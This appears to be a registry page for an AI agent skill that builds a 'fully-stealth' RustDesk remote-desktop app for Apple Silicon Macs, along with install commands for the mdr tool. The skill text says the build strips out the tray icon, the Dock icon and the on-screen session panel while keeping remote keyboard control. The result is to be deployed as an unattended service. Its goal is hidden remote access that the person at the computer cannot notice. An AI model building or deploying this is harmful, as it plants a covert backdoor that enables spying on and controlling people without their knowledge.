Build a patched, fully-stealth RustDesk.app from source on Apple Silicon, from a maintained private fork — no menu-bar icon, no Dock icon, no on-screen CM panel compiled in, remote keyboard still works, codesigned and ready to deploy. Use when building or version-bumping the stealth RustDesk binary; deploy the result with the deploy-stealth-rustdesk skill.

Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.

What the file says

# Build stealth RustDesk from source (macOS, Apple Silicon)

Produce a signed `RustDesk.app` with **three stealth surfaces** suppressed in the binary — the **menu-bar (tray) icon**, the **Dock icon**, and the **CM panel** (the connection-management window that floats top-right during a session) — while remote **keyboard** still works. The built app is the artifact; **deploy it as an unattended service with the `deploy-stealth-rustdesk` skill**.

Why build from source: the obvious shortcut — the `hide-tray=Y` custom-client flag — springs the **daemon trap**. It makes RustDesk install as a *LaunchDaemon*, which runs outside the user's GUI session and silently kills remote keyboard input ([rustdesk#10709](https://github.com/rustdesk/rustdesk/issues/10709)); on macOS 26 such clients may not even launch. The only path that is both invisible and controllable keeps RustDesk a **LaunchAgent** (user session) and just skips *drawing* the tray icon — a one-line patch. Installing as a LaunchAgent is `deploy-stealth-rustdesk`'s job; this skill compiles the patch in.

Each surface needs a different mechanism — there is no single toggle:

| Surface | Suppressed by |

How to install

The exact contents, by fingerprint
mdr add soulmachine/skills/build-stealth-rustdesk@sha256:d0ea0620b7efe155

The line at the top of this page pins the label git:20260704.dc1d638, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
